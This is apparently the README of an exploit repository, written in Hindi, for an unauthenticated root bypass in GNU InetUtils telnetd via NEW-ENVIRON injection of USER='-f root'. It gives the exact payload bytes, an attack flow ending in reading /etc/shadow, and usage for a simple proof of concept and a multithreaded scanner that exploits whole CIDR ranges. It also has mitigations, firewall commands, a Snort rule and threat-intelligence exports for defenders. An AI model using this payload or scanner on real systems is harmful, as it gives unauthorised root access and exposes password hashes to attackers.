
GNU InetUtils telnetd - NEW-ENVIRON वेरिएबल इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट रूट एक्सेस।
GNU InetUtils telnetd - NEW-ENVIRON वेरिएबल इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट रूट
अवलोकन - तकनीकी विश्लेषण - प्रभावित संस्करण - उपयोग - उपचार और शमन - संदर्भ
CVE-2026-24061 GNU InetUtils के भाग के रूप में वितरित telnetd डेमॉन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है। यह दोष प्रारंभिक प्रोटोकॉल हैंडशेक के दौरान टेलनेट NEW-ENVIRON विकल्प (RFC 1572) के प्रबंधन में निहित है।
मूल कारण login(1) प्रोग्राम को पास करने से पहले क्लाइंट-आपूर्ति किए गए पर्यावरण चरों को साफ़ करने में विफलता है। जब टेलनेट डेमॉन उप-वार्ता पैकेट प्राप्त करता है जिसमें वेरिएबल का मान होता है, तो यह इस अस्वच्छ मान को सीधे सिस्टम बाइनरी को पास कर देता है।
NEW-ENVIRON ISUSER-f rootloginउन प्रणालियों पर जहां login -f फ्लैग (पासवर्ड सत्यापन के बिना फोर्स लॉगिन) स्वीकार करता है, इसके परिणामस्वरूप रिमोट हमलावर को बिना प्रमाणीकरण के रूट सत्र प्रदान किया जाता है।
इस भेद्यता वर्ग का ऐतिहासिक उदाहरण है: SysV telnetd में CVE-2001-0797 और 1994 का प्रसिद्ध Linux telnetd -f बाईपास, जो विशेषाधिकार प्राप्त बाइनरीज़ को पास किए गए पर्यावरण-स्रोत तर्कों को साफ़ करने की समान मौलिक विफलता का शोषण करते थे।
कोई क्रेडेंशियल आवश्यक नहीं। कोई पूर्व पहुंच आवश्यक नहीं। नेटवर्क पैकेट अनुक्रम का एक ही सेट रूट प्राप्त करता है।
GNU InetUtils telnetd क्लाइंट-आपूर्ति किए गए पर्यावरण चरों को एकत्र करने के लिए NEW-ENVIRON (विकल्प कोड 0x27, RFC 1572 के अनुसार) उप-वार्ता को संसाधित करता है। ये चर एक तर्क वेक्टर में इकट्ठे किए जाते हैं और login(1) को स्पॉन करते समय execve(2) को पास किए जाते हैं।
भेद्यता निम्नानुसार ट्रिगर होती है:
IAC DO NEW-ENVIRON भेजता है, क्लाइंट से पर्यावरण चर मांगता है।IAC WILL NEW-ENVIRON के साथ उत्तर देता है।IAC SB NEW-ENVIRON SEND IAC SE के साथ अनुसरण करता है।IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd login कॉल को login -f root के रूप में निर्मित करता है।login(1) -f को "फोर्स लॉगिन, प्रमाणीकरण छोड़ें" के रूप में व्याख्या करता है और निर्दिष्ट उपयोगकर्ता (root) को पासवर्ड की आवश्यकता के बिना लॉग इन करता है।| चरण | दिशा | टेलनेट बाइट्स (हेक्स) | अर्थ |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root क्यों काम करता हैकई Linux प्रणालियों पर login(1) बाइनरी "पूर्व-प्रमाणित" लॉगिन के लिए -f <user> फ्लैग स्वीकार करती है, जिसका उपयोग ऐतिहासिक रूप से टर्मिनल मल्टीप्लेक्सर्स और rlogin द्वारा किया जाता था। जब telnetd अपना exec कॉल बनाता है और पर्यावरण चर मानों में अग्रणी हाइफ़न या विकल्प-जैसे स्ट्रिंग्स को हटाने या मान्य करने में विफल रहता है, तो यह अनजाने में हमलावर-नियंत्रित फ्लैग्स को सीधे login को पास कर देता है।
प्रभावी कॉल बन जाती है:
execve("/bin/login", ["login", "-f", "root"], envp);
हमलावर कमजोर telnetd (पोर्ट 23)
| |
|------- TCP SYN (पोर्ट 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ टेलनेट बैनर + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd कॉल करता है: login -f root] |
| |
|<------ रूट शेल प्रॉम्प्ट (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow सामग्री -----|
पूर्वापेक्षाएँ:
telnetd (TCP/23 खुला) चला रही हैinetutils का अप्रचलित संस्करणlogin(1) बाइनरी -f फ्लैग का समर्थन करती है (अधिकांश Linux वितरणों पर मानक)| सॉफ्टवेयर | प्रभावित संस्करण | स्थिति |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (विशिष्ट पैच किया गया संस्करण निर्धारित किया जाना है) | कमजोर |
| अप्रचलित GNU inetutils वितरित करने वाले वितरण | विभिन्न | विक्रेता सलाह देखें |
जांचें कि क्या आपका वितरण पैच किया गया संस्करण भेजता है। कई आधुनिक प्रणालियों में टेलनेट डिफ़ॉल्ट रूप से अक्षम है; जोखिम के लिए स्पष्ट रूप से चल रहे
telnetdकी आवश्यकता होती है।
| मीट्रिक | मान |
|---|---|
| CVSS v3.1 आधार स्कोर | 9.8 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | अपरिवर्तित |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |
| वेक्टर स्ट्रिंग | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK ID | रणनीति | तकनीक | प्रासंगिकता |
|---|---|---|---|
| T1190 | प्रारंभिक पहुंच | सार्वजनिक-सामना करने वाले अनुप्रयोग का शोषण | नेटवर्क पर telnetd का प्रत्यक्ष शोषण |
| T1059 | निष्पादन | कमांड और स्क्रिप्टिंग इंटरप्रेटर | शोषण के बाद शेल निष्पादन |
| T1078.004 | विशेषाधिकार वृद्धि / रक्षा चोरी | वैध खाते: स्थानीय खाते | प्रमाणीकरण बाईपास एक वैध रूट सत्र उत्पन्न करता है |
| T1548 | विशेषाधिकार वृद्धि | उन्नयन नियंत्रण तंत्र का दुरुपयोग | PAM/प्रमाणीकरण को बायपास करने के लिए login -f फ्लैग का दुरुपयोग |
| T1046 | खोज | नेटवर्क सेवा खोज | PoC का बड़े पैमाने पर स्कैनिंग घटक |
आवश्यकताएँ: Python 3 (केवल मानक पुस्तकालय, शून्य बाहरी निर्भरताएँ)।
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
कोई pip install आवश्यक नहीं है। दोनों स्क्रिप्ट केवल Python मानक पुस्तकालय का उपयोग करती हैं।
poc_cve_2026_24061.py # सरल PoC (~100 पंक्तियाँ) - भेद्यता को समझें
cve_2026_24061.py # औद्योगिक शोषण - मल्टीथ्रेडेड, CIDR, CSV/JSON निर्यात
scripts/
generate_signatures.py # पेलोड से Snort/Suricata + Sigma नियम स्वतः उत्पन्न करें
generate_misp_event.py # MISP-आयात योग्य इवेंट JSON उत्पन्न करें
generate_stix_bundle.py # STIX 2.1 बंडल उत्पन्न करें (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Snort/Suricata पहचान नियम (स्वतः उत्पन्न)
sigma.yml # SIEM के लिए Sigma नियम (स्वतः उत्पन्न)
indicators/
misp_event.json # MISP इवेंट - इवेंट्स > इवेंट जोड़ें > आयात के माध्यम से आयात करें
stix_bundle.json # STIX 2.1 बंडल - 11 ऑब्जेक्ट (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: न्यूनतम, पठनीय, शैक्षिक। एक लक्ष्य, एक फ़ंक्शन, शून्य अमूर्तता। यह समझने के लिए पढ़ें कि भेद्यता प्रोटोकॉल स्तर पर वास्तव में कैसे काम करती है।cve_2026_24061.py: पेंटेस्टिंग कार्यों के लिए औद्योगिक शोषण। मल्टीथ्रेडेड, CIDR रेंज, फ़ाइल इनपुट, CSV/JSON निर्यात, शांत मोड, कस्टम उपयोगकर्ताओं का समर्थन करता है।एकल होस्ट का शोषण करें। कोड जानबूझकर न्यूनतम है ताकि आप इसे ऊपर से नीचे पढ़ सकें और पूरी हमला श्रृंखला को समझ सकें।
# मूल उपयोग
python3 poc_cve_2026_24061.py 192.168.1.100
# कस्टम पोर्ट
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| पैरामीटर | डिफ़ॉल्ट | विवरण |
|---|---|---|
-t / --target | - | एकल IP, होस्टनाम, या CIDR रेंज |
-f / --file | - | IP/CIDR वाली फ़ाइल (प्रति पंक्ति एक, # टिप्पणियाँ) |
-T / --threads | 10 | समवर्ती थ्रेड्स की संख्या |
-p / --port | 23 | लक्ष्य टेलनेट पोर्ट |
--timeout | 5 | सॉकेट टाइमआउट सेकंड में |
--user | root | -f पेलोड के लिए उपयोगकर्ता नाम |
-o / --output | - | परिणाम CSV फ़ाइल में निर्यात करें |
--json | - | परिणाम JSON फ़ाइल में निर्यात करें |
-q / --quiet | बंद | शांत मोड: केवल कमजोर लक्ष्य प्रिंट करें (प्रति पंक्ति एक) |
--no-color | बंद | ANSI रंग आउटपुट अक्षम करें |
| स्थिति | अर्थ |
|---|---|
[VULN] | होस्ट कमजोर पुष्टि - रूट शेल प्राप्त हुआ |
[SAFE] | होस्ट ने उत्तर दिया लेकिन प्रमाणीकरण बाईपास नहीं हुआ |
[CLOS] | पोर्ट बंद या कनेक्शन अस्वीकृत |
[ERR ] | स्कैन के दौरान सॉकेट या प्रोटोकॉल त्रुटि |
CSV आउटपुट कॉलम: ip:port, status, message
स्क्रिप्ट बाहरी टेलनेट लाइब्रेरीज़ पर निर्भर किए बिना पूर्ण टेलनेट NEW-ENVIRON वार्ता स्टेट मशीन को मूल रूप से Python में लागू करती है:
IAC कमांड अनुक्रमों को पढ़ता है और DO NEW-ENVIRON का उत्तर WILL NEW-ENVIRON के साथ देता है।SB NEW-ENVIRON SEND उप-वार्ता प्राप्त करने पर, इंजेक्ट किया गया पेलोड (USER = "-f root") संचारित करता है।uid=0(root) या शेल प्रॉम्प्ट (#) की उपस्थिति, Login incorrect या Password: की अनुपस्थिति में।id\n भेजता है और द्वितीयक पुष्टि के रूप में प्रतिक्रिया में uid=0(root) की जाँच करता है।परिणाम रंग-कोडित स्थिति लेबल के साथ stdout पर लॉग किए जाते हैं। वैकल्पिक CSV निर्यात पोस्ट-प्रोसेसिंग के लिए सभी निष्कर्षों को रिकॉर्ड करता है।
टेलनेट को पूरी तरह से अक्षम करें। टेलनेट सभी डेटा को स्पष्ट पाठ में संचारित करता है। SSH से बदलें।
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
विक्रेता पैच लागू करें। उपलब्ध होते ही अपने वितरण से inetutils का पैच किया गया संस्करण स्थापित करें।
परिधि पर TCP/23 ब्लॉक करें। आने वाले टेलनेट कनेक्शनों को अस्वीकार करने के लिए फ़ायरवॉल नियम लागू करें।
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| नियंत्रण | विवरण |
|---|---|
| नेटवर्क विभाजन | यदि टेलनेट को अक्षम नहीं किया जा सकता है तो इसे पृथक प्रबंधन नेटवर्क तक सीमित करें |
| PAM सख्तीकरण | PAM कॉन्फ़िगरेशन की समीक्षा करें; जहां login.defs द्वारा आवश्यक नहीं है वहां -f पूर्व-प्रमाणीकरण अक्षम करें |
| IDS/IPS हस्ताक्षर | टेलनेट ट्रैफ़िक में NEW-ENVIRON IS VAR USER VALUE -f पैटर्न का पता लगाएं |
| ऑडिट लॉगिंग | login के माध्यम से अप्रत्याशित रूट लॉगिन के लिए auth.log / secure की निगरानी करें |
| भेद्यता स्कैनिंग | अप्रचलित inetutils की पहचान करने के लिए प्रमाणित स्कैन (OpenVAS, Nessus) चलाएं |
पारगमन में शोषण का पता लगाने के लिए Snort/Suricata नियम कंकाल:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
यह रिपॉजिटरी पूर्व-निर्मित खतरा खुफिया कलाकृतियाँ भेजता है, जो आपके SOC/CTI स्टैक में आयात करने के लिए तैयार हैं। वे वास्तविक शोषण पेलोड से CI द्वारा स्वतः उत्पन्न होते हैं - यदि पेलोड बदलता है, तो कलाकृतियाँ अपडेट हो जाती हैं।
indicators/misp_event.json को सीधे किसी भी MISP इंस्टेंस में आयात करें:
इवेंट्स > इवेंट जोड़ें > से आयात करें... > JSON
इवेंट में शामिल हैं: CVE ID, CVSS वेक्टर, Snort हस्ताक्षर, पेलोड हेक्स, MITRE ATT&CK टैग (T1190, T1548, T1059), CPE, और बाहरी संदर्भ।
indicators/stix_bundle.json को OpenCTI, TAXII सर्वर, या किसी भी STIX 2.1 उपभोक्ता में आयात करें।
बंडल में 11 ऑब्जेक्ट हैं: भेद्यता, संकेतक (नेटवर्क पैटर्न), 3 हमला पैटर्न (MITRE), कार्रवाई का पाठ्यक्रम (उपचार), पहचान, और उन्हें जोड़ने वाले संबंध।
signatures/ में पूर्व-निर्मित नियम:
snort.rules - 3 Snort/Suricata नियम (शोषण प्रयास, सामान्य -f इंजेक्शन, शोषण के बाद रूट शेल)sigma.yml - SIEM सहसंबंध के लिए Sigma नियमयदि आप शोषण पेलोड को संशोधित करते हैं, तो सभी कलाकृतियों को पुनः उत्पन्न करें:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
यह उपकरण केवल अधिकृत सुरक्षा ऑडिटिंग, शैक्षणिक अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। सिस्टम स्वामी से स्पष्ट लिखित अनुमति के बिना प्रणालियों के विरुद्ध उपयोग लागू कंप्यूटर धोखाधड़ी और दुरुपयोग कानूनों (CFAA, कंप्यूटर दुरुपयोग अधिनियम और समकक्ष विधान सहित लेकिन इन्हीं तक सीमित नहीं) के तहत अवैध है। लेखक अनधिकृत या दुर्भावनापूर्ण उपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।